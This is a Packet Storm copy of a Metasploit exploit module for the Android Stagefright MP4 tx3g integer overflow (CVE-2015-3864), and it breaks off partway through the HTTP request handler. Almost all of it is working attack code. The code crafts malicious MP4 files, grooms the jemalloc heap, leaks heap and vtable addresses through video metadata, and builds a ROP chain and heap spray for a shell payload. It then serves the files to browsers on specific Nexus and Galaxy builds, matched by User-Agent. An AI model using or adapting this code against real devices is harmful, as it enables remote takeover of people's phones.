Lucene search
K

Android Stagefright MP4 tx3g Integer Overflow

🗓️ 27 Sep 2016 00:00:00Reported by jduckType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 116 Views

Android Stagefright MP4 tx3g Integer Overflow. Exploits integer overflow vulnerabilities in Stagefright Library by crafting MP4 files with tx3g atoms, leading to heap overflow and ROP chain generation. SELinux may constrain exploit

Related
Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::RopDb  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Android Stagefright MP4 tx3g Integer Overflow",  
'Description' => %q{  
This module exploits a integer overflow vulnerability in the Stagefright  
Library (libstagefright.so). The vulnerability occurs when parsing specially  
crafted MP4 files. While a wide variety of remote attack vectors exist, this  
particular exploit is designed to work within an HTML5 compliant browser.  
  
Exploitation is done by supplying a specially crafted MP4 file with two  
tx3g atoms that, when their sizes are summed, cause an integer overflow when  
processing the second atom. As a result, a temporary buffer is allocated  
with insufficient size and a memcpy call leads to a heap overflow.  
  
This version of the exploit uses a two-stage information leak based on  
corrupting the MetaData that the browser reads from mediaserver. This method  
is based on a technique published in NorthBit's Metaphor paper. First,  
we use a variant of their technique to read the address of a heap buffer  
located adjacent to a SampleIterator object as the video HTML element's  
videoHeight. Next, we read the vtable pointer from an empty Vector within  
the SampleIterator object using the video element's duration. This gives  
us a code address that we can use to determine the base address of  
libstagefright and construct a ROP chain dynamically.  
  
NOTE: the mediaserver process on many Android devices (Nexus, for example) is  
constrained by SELinux and thus cannot use the execve system call. To avoid  
this problem, the original exploit uses a kernel exploit payload that disables  
SELinux and spawns a shell as root. Work is underway to make the framework  
more amenable to these types of situations. Until that work is complete, this  
exploit will only yield a shell on devices without SELinux or with SELinux in  
permissive mode.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
# Exodus/jordan # initial discovery / disclosure  
'jduck', # Metasploit module, further infoleak development  
'NorthBit' # intiial information leak implementation  
],  
'References' =>  
[  
[ 'CVE', '2015-3864' ],  
[ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ],  
[ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ],  
[ 'URL', 'https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf' ],  
[ 'URL', 'https://github.com/NorthBit/Metaphor' ],  
# Not used, but related  
[ 'URL', 'http://drops.wooyun.org/papers/7558' ],  
[ 'URL', 'http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ],  
[ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ],  
],  
'Payload' =>  
{  
'Space' => 2048,  
'DisableNops' => true,  
},  
#'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp' },  
'Platform' => 'linux',  
'Arch' => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X86_64, ARCH_MIPSLE],  
'Targets' =>  
[  
[ 'Automatic', {} ],  
#  
# Each target includes information about the device, firmware, and  
# how exactly to about exploiting it.  
#  
# Primarily, these targets are used to map a browser's User-Agent to  
# exploit specifics for that device / build.  
#  
[  
'Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)',  
{  
'Model' => 'Nexus 7',  
'Build' => 'LRX21P',  
'Release' => '5.0',  
'Rop' => 'lrx',  
'SprayAddress' => 0xb1508000  
}  
],  
[  
'Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)',  
{  
'Model' => 'Nexus 7',  
'Build' => 'LRX22C',  
'Release' => '5.0.1',  
'Rop' => 'lrx'  
}  
],  
[  
'Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)',  
{  
'Model' => 'Nexus 7',  
'Build' => 'LRX22G',  
'Release' => '5.0.2',  
'Rop' => 'lrx'  
}  
],  
[  
'Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)',  
{  
'Model' => 'Nexus 7',  
'Build' => 'LMY47O',  
'Release' => '5.1',  
'Rop' => 'lmy-1'  
}  
],  
[  
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)',  
{  
'Model' => 'Nexus 7',  
'Build' => 'LMY47V',  
'Release' => '5.1.1',  
'Rop' => 'lmy-1'  
}  
],  
[  
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)',  
{  
'Model' => 'Nexus 7',  
'Build' => 'LMY48G',  
'Release' => '5.1.1',  
'Rop' => 'lmy-1'  
}  
],  
[  
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)',  
{  
'Model' => 'Nexus 7',  
'Build' => 'LMY48I',  
'Release' => '5.1.1',  
'Rop' => 'lmy-2'  
}  
],  
[  
'Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)',  
{  
'Model' => 'Nexus 7',  
'Build' => 'LRX22G',  
'Release' => '5.0.2',  
'Rop' => 'lrx'  
}  
],  
[  
'Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)',  
{  
'Model' => 'Nexus 7',  
'Build' => 'LMY47O',  
'Release' => '5.1',  
'Rop' => 'lmy-1'  
}  
],  
[  
'Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)',  
{  
'Model' => 'Nexus 7',  
'Build' => 'LMY47V',  
'Release' => '5.1.1',  
'Rop' => 'lmy-1'  
}  
],  
[  
'Nexus 5 (hammerhead) with Android 5.0 (LRX21O)',  
{  
'Model' => 'Nexus 5',  
'Build' => 'LRX21O',  
'Release' => '5.0',  
'Rop' => 'lrx'  
}  
],  
[  
'Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)',  
{  
'Model' => 'Nexus 5',  
'Build' => 'LRX22C',  
'Release' => '5.0.1',  
'Rop' => 'lrx'  
}  
],  
[  
'Nexus 5 (hammerhead) with Android 5.1 (LMY47D)',  
{  
'Model' => 'Nexus 5',  
'Build' => 'LMY47D',  
'Release' => '5.1',  
'Rop' => 'lmy-1'  
}  
],  
[  
'Nexus 5 (hammerhead) with Android 5.1 (LMY47I)',  
{  
'Model' => 'Nexus 5',  
'Build' => 'LMY47I',  
'Release' => '5.1',  
'Rop' => 'lmy-1'  
}  
],  
[  
'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)',  
{  
'Model' => 'Nexus 5',  
'Build' => 'LMY48B',  
'Release' => '5.1.1',  
'Rop' => 'lmy-1'  
}  
],  
[  
'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)',  
{  
'Model' => 'Nexus 5',  
'Build' => 'LMY48I',  
'Release' => '5.1.1',  
'Rop' => 'lmy-2'  
}  
],  
[  
'Nexus 6 (shamu) with Android 5.0 (LRX21O)',  
{  
'Model' => 'Nexus 6',  
'Build' => 'LRX21O',  
'Release' => '5.0',  
'Rop' => 'lrx'  
}  
],  
[  
'Nexus 6 (shamu) with Android 5.0.1 (LRX22C)',  
{  
'Model' => 'Nexus 6',  
'Build' => 'LRX22C',  
'Release' => '5.0.1',  
'Rop' => 'lrx'  
}  
],  
[  
'Nexus 6 (shamu) with Android 5.1 (LMY47D)',  
{  
'Model' => 'Nexus 6',  
'Build' => 'LMY47D',  
'Release' => '5.1',  
'Rop' => 'lmy-1'  
}  
],  
[  
'Nexus 6 (shamu) with Android 5.1 (LMY47E)',  
{  
'Model' => 'Nexus 6',  
'Build' => 'LMY47E',  
'Release' => '5.1',  
'Rop' => 'lmy-1'  
}  
],  
[  
'Nexus 6 (shamu) with Android 5.1 (LMY47I)',  
{  
'Model' => 'Nexus 6',  
'Build' => 'LMY47I',  
'Release' => '5.1',  
'Rop' => 'lmy-1'  
}  
],  
[  
'Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)',  
{  
'Model' => 'Nexus 6',  
'Build' => 'LYZ28E',  
'Release' => '5.1.1',  
'Rop' => 'shamu / LYZ28E'  
}  
],  
[  
'Nexus 6 (shamu) with Android 5.1 (LMY47M)',  
{  
'Model' => 'Nexus 6',  
'Build' => 'LMY47M',  
'Release' => '5.1',  
'Rop' => 'lmy-1'  
}  
],  
[  
'Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)',  
{  
'Model' => 'Nexus 6',  
'Build' => 'LMY47Z',  
'Release' => '5.1.1',  
'Rop' => 'lmy-1'  
}  
],  
[  
'Nexus 6 (shamu) with Android 5.1.1 (LVY48C)',  
{  
'Model' => 'Nexus 6',  
'Build' => 'LVY48C',  
'Release' => '5.1.1',  
'Rop' => 'lmy-1'  
}  
],  
[  
'Nexus 6 (shamu) with Android 5.1.1 (LMY48I)',  
{  
'Model' => 'Nexus 6',  
'Build' => 'LMY48I',  
'Release' => '5.1.1',  
'Rop' => 'lmy-2'  
}  
],  
[  
'Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)',  
{  
'Model' => 'Nexus 6',  
'Build' => 'LYZ28J',  
'Release' => '5.1.1',  
'Rop' => 'shamu / LYZ28J'  
}  
],  
[  
'Nexus 6 (shamu) with Android 5.1.1 (LVY48E)',  
{  
'Model' => 'Nexus 6',  
'Build' => 'LVY48E',  
'Release' => '5.1.1',  
'Rop' => 'lmy-2'  
}  
],  
[  
'Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)',  
{  
'Model' => 'SM-G900V',  
'Build' => 'LRX21T',  
'Release' => '5.0',  
'Rop' => 'sm-g900v / OE1',  
'SprayAddress' => 0xaf008000,  
'SampleIteratorSize' => 0xa8,  
'VectorSize' => 0xec  
}  
]  
],  
'Privileged' => true,  
'DisclosureDate' => "Aug 13 2015",  
'DefaultTarget' => 0))  
  
=begin  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class)  
=end  
end  
  
def exploit  
@peers = {}  
super  
end  
  
def get_target(request)  
agent = request.headers['User-Agent']  
self.targets.each do |t|  
next if t.name == 'Automatic'  
regexp = Regexp.escape("Linux; Android #{t['Release']}; #{t['Model']} Build/#{t['Build']}")  
return t if (agent =~ /#{regexp}/)  
end  
return nil  
end  
  
#  
# Construct a page worth of data that we'll spray  
#  
# NOTE: The data within is target-specific  
#  
def build_spray(my_target, peer, spray_addr)  
# Initialize the page to a reasonable state.  
page = ''  
page = rand_text(4096)  
  
# Load target-based exploit-specific variables  
details = get_details(my_target)  
return nil if details.nil?  
  
# Calculate the libstagefright.so base address  
vector_rva = details['VectorRVA']  
vector_ptr = peer[:vector_vtable_addr]  
libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000)  
  
# If we smash mDataSource, this ends up controlling the program counter!!  
=begin  
0xb65fd7c4 <parseChunk(long long*, int)+4596>: ldr r2, [r0, #0]  
0xb65fd7c6 <parseChunk(long long*, int)+4598>: str r1, [sp, #0]  
0xb65fd7c8 <parseChunk(long long*, int)+4600>: ldr r5, [r7, #0]  
0xb65fd7ca <parseChunk(long long*, int)+4602>: str r5, [sp, #4]  
0xb65fd7cc <parseChunk(long long*, int)+4604>: ldr r6, [r2, #28]  
0xb65fd7ce <parseChunk(long long*, int)+4606>: ldrd r2, r3, [r10]  
0xb65fd7d2 <parseChunk(long long*, int)+4610>: blx r6  
0xb65fd7d4 <parseChunk(long long*, int)+4612>: ldrd r2, r3, [sp, #64] ; 0x40  
=end  
  
# Initialize our pivot values and adjust them to libstagefright's base.  
# First, load r0 (pointer to our buffer) into some register..  
mds_pivot1 = libsf_base + details['Pivot1']  
  
# Next, load sp (and probably other stuff) from there  
mds_pivot2 = libsf_base + details['Pivot2']  
  
# Finally, skip over some stuff and kick of the ROP chain  
mds_adjust = libsf_base + details['Adjust']  
  
# The offset to the ROP change beginning  
rop_start_off = 0x30  
  
# Point sp to the remainder of the ROP chain  
new_sp = spray_addr + rop_start_off  
  
# Sometimes the spray isn't aligned perfectly, this fixes that situation...  
unalign_off = 0x998  
new_sp2 = new_sp + 0x1000 - unalign_off  
  
# This pointer should point to the beginning of the shellcode payload  
payload_ptr = spray_addr + 0xa0  
  
# Put the stack back!  
stack_fix = "\x0a\xd0\xa0\xe1" # mov sp, r10 ; restore original sp  
  
# Depending on the pivot strategy in use, we have to set things up slightly  
# differently...  
#  
# In each case, we use a two-stage pivot that reads the spray address from  
# r0 (we smashed that, remember).  
#  
# The addroffs array is used to map values to the offsets where the pivots  
# expect them to be.  
#  
case details['PivotStrategy']  
when 'lrx'  
addroffs = [  
[ 0x0, new_sp ],  
[ 0x10, mds_pivot2 ],  
[ 0x1c, mds_pivot1 ],  
]  
  
# Since we are only popping one item in pivot2, we reduce the rop_start_off  
rop_start_off -= 4  
  
# Adjust the payload pointer  
payload_ptr -= 4  
  
when 'lmy-1'  
addroffs = [  
[ 0x8, new_sp ],  
[ 0xc, mds_adjust ],  
[ 0x10, mds_pivot2 ],  
[ 0x1c, mds_pivot1 ]  
]  
  
when 'lmy-2'  
ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18 # adjust for displacement  
addroffs = [  
[ 0x0, ptr_to_mds_pivot2 ],  
[ 0x8, new_sp ],  
[ 0xc, mds_adjust ],  
[ 0x10, mds_pivot2 ],  
[ 0x1c, mds_pivot1 ]  
]  
  
stack_fix = "\x09\xd0\xa0\xe1" # mov sp, r9 ; restore original sp  
  
when 'lyz'  
ptr_to_mds_pivot2 = spray_addr + 0x8  
addroffs = [  
[ 0x0, ptr_to_mds_pivot2 ],  
[ 0x8, mds_pivot2 ],  
[ 0x1c, mds_pivot1 ],  
[ 0x24, new_sp ],  
# lr is at 0x28!  
[ 0x2c, mds_adjust ]  
]  
  
# We can't fix it becuse we don't know where the original stack is anymore :-/  
stack_fix = ""  
  
when 'sm-g900v'  
addroffs = [  
[ 0x4, mds_adjust ],  
[ 0x10, new_sp ],  
[ 0x1c, mds_pivot1 ],  
[ 0x20, mds_pivot2 ]  
]  
  
else  
print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!")  
return nil  
end  
  
# We need our ROP to build the page... Create it.  
rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] })  
  
# Fix up the payload pointer in the ROP  
idx = rop.index([ 0xc600613c ].pack('V'))  
rop[idx, 4] = [ payload_ptr ].pack('V')  
  
# Insert the ROP  
page[rop_start_off, rop.length] = rop  
  
# Insert the special values...  
addroffs.each do |ao|  
off,addr = ao  
page[off,4] = [ addr ].pack('V')  
  
# Sometimes the spray isn't aligned perfectly...  
if addr == new_sp  
page[off+unalign_off,4] = [ new_sp2 ].pack('V')  
else  
page[off+unalign_off,4] = [ addr ].pack('V')  
end  
end  
  
page  
end  
  
#  
# MPEG-4 specific functionality  
#  
def get_atom(tag, data='', length=nil)  
if tag.length != 4  
raise 'Yo! They call it "FourCC" for a reason.'  
end  
  
length ||= data.length + 8  
if length >= 2**32  
return [ [ 1 ].pack('N'), tag, [ length ].pack('Q>'), data ].join  
end  
[ [ length ].pack('N'), tag, data ].join  
end  
  
def get_stsc(num)  
stsc_data = [ 0, num ].pack('N*') # version/flags, mNumSampleToChunkOffsets  
stsc_data << [ 13+1, 0x5a5a5a5a, 37 ].pack('N*') * num  
get_atom('stsc', stsc_data)  
end  
  
def get_ftyp  
# Build the MP4 header...  
ftyp = 'mp42'  
ftyp << [ 0 ].pack('N')  
ftyp << 'mp42'  
ftyp << 'isom'  
get_atom('ftyp', ftyp)  
end  
  
def get_pssh(alloc_size)  
pssh_data = ''  
pssh_data << [ 0 ].pack('N')  
pssh_data << [ 0, 0, 0, 0 ].pack('N*')  
pssh_data << [ alloc_size ].pack('N')  
alloc_size.times do |off|  
pssh_data << [ 0x55aa0000 + off ] .pack('V')  
end  
get_atom('pssh', pssh_data)  
end  
  
def get_metaitem(tag, type, data)  
ret = ''  
ret << tag.reverse  
ret << type.reverse  
case type  
when 'in32'  
ret << [ 4, data ].pack('V*')  
when 'in64'  
ret << [ 8, data ].pack('V*')  
else  
raise "How do you expect me to make a #{type.inspect} ??"  
end  
ret  
end  
  
def jemalloc_round(sz)  
# These are in the 16-byte aligned runs  
if (sz > 0x10 && sz <= 0x80)  
round = 16  
# 160 starts the 32-byte aligned runs  
elsif (sz > 0x80 && sz <= 0x140)  
round = 32  
else  
raise "Don't know how to round 0x%x" % sz  
end  
ret = (sz + (round - 1)) / round  
ret *= round  
return ret  
end  
  
#  
# Leak data from mediaserver back to the browser!  
#  
# Stage 1 - leak a heap pointer near a SampleIterator object  
# Stage 2 - read a code pointer from the SampleIterator object  
#  
def get_mp4_leak(my_target, peer)  
# MPEG4 Fileformat Reference:  
# http://qtra.apple.com/index.html  
#  
# Structure:  
# [File type Chunk][Other Atom Chunks]  
#  
# Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]  
#  
sampiter_alloc_size = 0x78  
sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil?  
sampiter_rounded = jemalloc_round(sampiter_alloc_size)  
vector_alloc_size = 0x8c  
vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil?  
groom_count = 0x10  
  
is_samsung = (my_target['Rop'] == 'sm-g900v / OE1')  
  
# Coerce the heap into a favorable shape (fill holes)  
shape_vector = get_pssh(vector_alloc_size)  
  
# Allocate a block of memory of the correct size  
placeholder = get_atom('titl', ('t' * 4) + ('titl' * (vector_alloc_size / 4)) + [ 0 ].pack('C'))  
  
# Make the first tx3g chunk, which is meant to overflow into a MetaData array.  
# We account for the overhead of both chunks here and aim for this layout:  
#  
# placeholder after re-allocation | vector array data  
# <len><tag><padding><is-64bit><tag><len hi><len low> | <overflow data>  
#  
# Realistically, tx3g1_padding can be any number that rounds up to the  
# correct size class.  
tx3g1_overhead = 0x8  
tx3g2_overhead = 0x10  
tx3g_target = jemalloc_round(vector_alloc_size)  
tx3g1_padding = tx3g_target - (tx3g1_overhead + tx3g2_overhead)  
tx3g_data = 'x' * tx3g1_padding  
tx3g_1 = get_atom('tx3g', tx3g_data)  
  
# NOTE: hvcC added in 3b5a6b9fa6c6825a1d0b441429e2bb365b259827 (5.0.0 and later only)  
# avcC was in the initial commit.  
near_sampiter = get_atom('hvcC', "C" * sampiter_alloc_size)  
  
# Craft the data that will overwrite the header and part of the MetaData  
# array...  
more_data = ''  
more_data << [ 9, vector_alloc_size - 0x10, 0, 0 ].pack('V*')  
  
# Now add the thing(s) we want to control (partially)  
#  
# We add some BS entries just to kill the real 'heig' and get proper  
# ordering...  
near_sampiter_addr = peer[:near_sampiter_addr]  
if near_sampiter_addr.nil?  
# Part 1. Leak the address of a chunk that should be adjacent to a  
# SampleIterator object.  
if is_samsung  
# On Samsung:  
# Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt  
# After: dmcE, abc1, abc2, abc3, heig...  
more_data << get_metaitem('dmcE', 'in32', 1)  
more_data << get_metaitem('abc1', 'in32', 31335)  
more_data << get_metaitem('abc2', 'in32', 31336)  
end  
  
# On Nexus:  
# Before: heig, hvcc, inpS, mime, text, widt  
# After: abc3, heig...  
more_data << get_metaitem('abc3', 'in32', 31337)  
  
# NOTE: We only use the first 12 bytes so that we don't overwrite the  
# pointer that is already there!  
heig = get_metaitem('heig', 'in32', 31338)  
more_data << heig[0,12]  
else  
# Part 2. Read from the specified address, as with the original Metaphor  
# exploit.  
if is_samsung  
# On Samsung:  
# Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt  
# After: dmcE, dura, ...  
more_data << get_metaitem('dmcE', 'in32', 1)  
else  
# On Nexus:  
# Before: avcc, heig, inpS, mime, text, widt  
# After: dura, ...  
near_sampiter = get_atom('avcC', "C" * sampiter_alloc_size)  
end  
  
# Try to read the mCurrentChunkSampleSizes vtable ptr within a  
# SampleIterator object. This only works because the Vector is empty thus  
# passing the restrictions imposed by the duration conversion.  
ptr_to_vector_vtable = near_sampiter_addr - (sampiter_rounded * 2) + 0x30  
more_data << get_metaitem('dura', 'in64', ptr_to_vector_vtable)  
end  
  
# The tx3g2 then needs to trigger the integer overflow, but can contain any  
# contents. The overflow will terminate at the end of the file.  
#  
# NOTE: The second tx3g chunk's overhead ends up in the slack space between  
# the replaced placeholder and the MetaData Vector contents.  
big_num = 0x1ffffffff - tx3g_1.length + 1 + vector_alloc_size  
tx3g_2 = get_atom('tx3g', more_data, big_num)  
  
# Create a minimal, verified 'trak' to satisfy mLastTrack being set  
stbl_data = get_stsc(1)  
stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets  
stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes  
stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount  
stbl = get_atom('stbl', stbl_data)  
verified_trak = get_atom('trak', stbl)  
  
# Start putting it all together into a track.  
trak_data = ''  
  
if is_samsung  
# Put some legitimate duration information so we know if we failed  
mdhd_data = [ 0 ].pack('N') # version  
mdhd_data << "\x00" * 8 # padding  
mdhd_data << [ 1 ].pack('N') # timescale  
mdhd_data << [ 314 ].pack('N') # duration  
mdhd_data << [ 0 ].pack('n') # lang  
trak_data << get_atom('mdhd', mdhd_data)  
end  
  
# Add this so that our file is identified as video/mp4  
mp4v_data = ''  
mp4v_data << [ 0 ].pack('C') * 24 # padding  
mp4v_data << [ 1024 ].pack('n') # width  
mp4v_data << [ 768 ].pack('n') # height  
mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length) # padding  
trak_data << get_atom('mp4v', mp4v_data) # satisfy hasVideo = true  
  
# Here, we cause allocations such that we can replace the placeholder...  
if is_samsung  
trak_data << placeholder # Somethign we can free  
trak_data << shape_vector # Eat the loose block...  
trak_data << stbl # Cause the growth of the track->meta Vector  
else  
trak_data << stbl # Cause the growth of the track->meta Vector  
trak_data << placeholder # Somethign we can free  
trak_data << shape_vector # Eat the loose block...  
end  
  
# Add the thing whose entry in the MetaData vector we want to overwrite...  
trak_data << near_sampiter  
  
# Get our overflow data into memory  
trigger = ''  
trigger << tx3g_1  
  
# Free the place holder  
trigger << get_atom('titl', ('t' * 4) + ('BBBB' * vector_alloc_size) + [ 0 ].pack('C'))  
  
# Overflow the temporary buffer into the following MetaData array  
trigger << tx3g_2  
  
# !!! NOTE !!!  
# On Samsung devices, the failure that causes ERR to be returned from  
# 'tx3g' processing leads to "skipTrack" being set. This means our  
# nasty track and it's metadata get deleted and not returned to the  
# browser -- effectively killing the infoleak.  
#  
# However! It also handles "skipTrack" being set specially and does not  
# immediately propagate the error to the caller. Instead, it returns OK.  
# This allows us to triggering the bug multiple times in one file, or --  
# as we have in this case -- survive after and return successfully.  
if is_samsung  
# Add this as a nested track!  
trak_data << get_atom('trak', trigger)  
else  
trak_data << trigger  
end  
trak = get_atom('trak', trak_data)  
  
# On Samsung devices, we could put more chunks here but they will  
# end up smashing the temporary buffer further...  
  
chunks = []  
chunks << get_ftyp()  
chunks << get_atom('moov')  
chunks << verified_trak * 0x200  
chunks << shape_vector * groom_count  
chunks << trak  
  
mp4 = chunks.join  
mp4  
end  
  
def get_mp4_rce(my_target, peer)  
# MPEG4 Fileformat Reference:  
# http://qtra.apple.com/index.html  
#  
# Structure:  
# [File type Chunk][Other Atom Chunks]  
#  
# Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]  
#  
chunks = []  
chunks << get_ftyp()  
  
# Note, this causes a few allocations  
moov_data = ''  
mvhd_data = [ 0, 0x41414141 ].pack('N*')  
mvhd_data << 'B' * 0x5c  
moov_data << get_atom('mvhd', mvhd_data)  
  
# Add a minimal, verified 'trak' to satisfy mLastTrack being set  
verified_trak = ''  
stbl_data = get_stsc(0x28)  
stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets  
stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes  
stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount  
verified_trak << get_atom('trak', get_atom('stbl', stbl_data))  
  
# Add it to the file  
moov_data << verified_trak  
  
# The spray_addr field is typically determined empirically (by testing), but  
# has proven to be fairly predictable (99%). However, it does vary from  
# one device to the next (probably determined by the pre-loaded libraries).  
spray_addr = 0xb0c08000  
spray_addr = my_target['SprayAddress'] if not my_target['SprayAddress'].nil?  
  
# Construct a single page that we will spray  
page = build_spray(my_target, peer, spray_addr)  
return nil if page.nil?  
  
# Build a big block full of spray pages and and put it in an avcC chunk  
# (but don't add it to the 'moov' yet)  
spray = page * (((16 * 1024 * 1024) / page.length) - 20)  
avcc = get_atom('avcC', spray)  
  
# Make the nasty trak  
tkhd1 = ''  
tkhd1 << [ 0 ].pack('C') # version  
tkhd1 << 'D' * 3 # padding  
tkhd1 << 'E' * (5*4) # {c,m}time, id, ??, duration  
tkhd1 << 'F' * 0x10 # ??  
tkhd1 << [  
0x10000, # a00  
0, # a01  
0, # dx  
0, # a10  
0x10000, # a11  
0 # dy  
].pack('N*')  
tkhd1 << 'G' * 0x14 # ??  
  
# Add the tkhd (track header) to the nasty track  
trak1 = ''  
trak1 << get_atom('tkhd', tkhd1)  
  
# Build and add the 'mdia' (Media information) to the nasty track  
mdia1 = ''  
mdhd1 = [ 0 ].pack('C') # version  
mdhd1 << 'D' * 0x17 # padding  
mdia1 << get_atom('mdhd', mdhd1)  
mdia1 << get_atom('hdlr', 'F' * 0x38) # Media handler  
dinf1 = ''  
dinf1 << get_atom('dref', 'H' * 0x14) # Data information box  
minf1 = ''  
minf1 << get_atom('smhd', 'G' * 0x08)  
minf1 << get_atom('dinf', dinf1)  
stbl1 = get_stsc(2)  
minf1 << get_atom('stbl', stbl1)  
mdia1 << get_atom('minf', minf1)  
trak1 << get_atom('mdia', mdia1)  
  
# Add something to take up a slot in the 0x20 size range  
# NOTE: We have to be able to free this later...  
block = 'Q' * 0x1c  
trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))  
  
# Add a Track (hopefully right after)  
trak1 << verified_trak  
  
# Add the avcC chunk with the heap spray. We add it here so it's sure to be  
# allocated when we get control of the program counter...  
trak1 << avcc  
  
# Build the first of the nasty pair of tx3g chunks that trigger the  
# vulnerability  
alloc_size = 0x20  
overflow_size = 0xc0  
  
overflow = [ spray_addr ].pack('V') * (overflow_size / 4)  
tx3g_1 = get_atom('tx3g', overflow)  
trak1 << tx3g_1  
  
# Free the original thing and put the tx3g temporary in it's place...  
block = 'R' * 0x40  
trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))  
  
# Make the second one, which triggers the integer overflow  
big_num = 0x1ffffffff - 8 - overflow.length + 1 + alloc_size  
more_data = [ spray_addr ].pack('V') * (overflow_size / 4)  
tx3g_2 = get_atom('tx3g', more_data, big_num)  
trak1 << tx3g_2  
  
# Add the nasty track to the moov data  
moov_data << get_atom('trak', trak1)  
  
# Finalize the moov chunk  
moov = get_atom('moov', moov_data)  
chunks << moov  
  
# Combine outer chunks together and voila.  
mp4 = chunks.join  
mp4  
end  
  
def on_request_uri(cli, request)  
# If the request is for an mp4 file, we need to get the target from the @peers hash  
if request.uri =~ /\.mp4\?/i  
mp4_fn = request.uri.split('/')[-1]  
mp4_fn = mp4_fn.split('?')[0]  
mp4_fn[-4,4] = ''  
  
peer = @peers[mp4_fn]  
  
my_target = nil  
my_target = peer[:target] if peer  
if my_target.nil?  
send_not_found(cli)  
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer")  
return  
end  
  
# Extract the address(s) we just leaked...  
sia_addr = request.qstring['sia'].to_i # near_sampiter data address  
peer[:near_sampiter_addr] = sia_addr if sia_addr > 0  
sfv_addr = request.qstring['sfv'].to_i # stagefright Vector<size_t> vtable ptr  
peer[:vector_vtable_addr] = sfv_addr if sfv_addr > 0  
# reset after a crash..  
if sia_addr == 0 && sfv_addr == 0  
peer[:near_sampiter_addr] = peer[:vector_vtable_addr] = nil  
end  
  
# Always use this header  
out_hdrs = {'Content-Type'=>'video/mp4'}  
  
if peer[:vector_vtable_addr].nil?  
# Generate the nasty MP4 to leak infoz  
mode = "infoleak"  
mp4 = get_mp4_leak(my_target, peer)  
else  
mode = "RCE"  
mp4 = get_mp4_rce(my_target, peer)  
if mp4.nil?  
send_not_found(cli)  
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4")  
return  
end  
end  
  
# Send the nasty MP4 file to trigger the vulnerability  
if request.headers['Accept-Encoding'] and request.headers['Accept-Encoding'].include? 'gzip'  
mp4 = Rex::Text.gzip(mp4)  
out_hdrs.merge!('Content-Encoding' => 'gzip')  
gzip = "gzip'd"  
else  
gzip = "raw"  
end  
  
client = "Browser"  
if request.headers['User-Agent'].include? 'stagefright'  
client = "SF"  
end  
  
addrs = "heap: 0x%x, code: 0x%x" % [ peer[:near_sampiter_addr].to_i, peer[:vector_vtable_addr].to_i ]  
  
print_status("Sending #{mode} #{gzip} MPEG4 (#{mp4.length} bytes) to #{cli.peerhost}:#{cli.peerport}... (#{addrs} from #{client})")  
  
# Send the nastiness!  
send_response(cli, mp4, out_hdrs)  
return  
end  
  
# Initialize a target. If none suitable, then we don't continue.  
my_target = target  
if my_target.name =~ /Automatic/  
my_target = get_target(request)  
if my_target.nil?  
send_not_found(cli)  
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}")  
return  
end  
vprint_status("Target selected: #{my_target.name}")  
end  
  
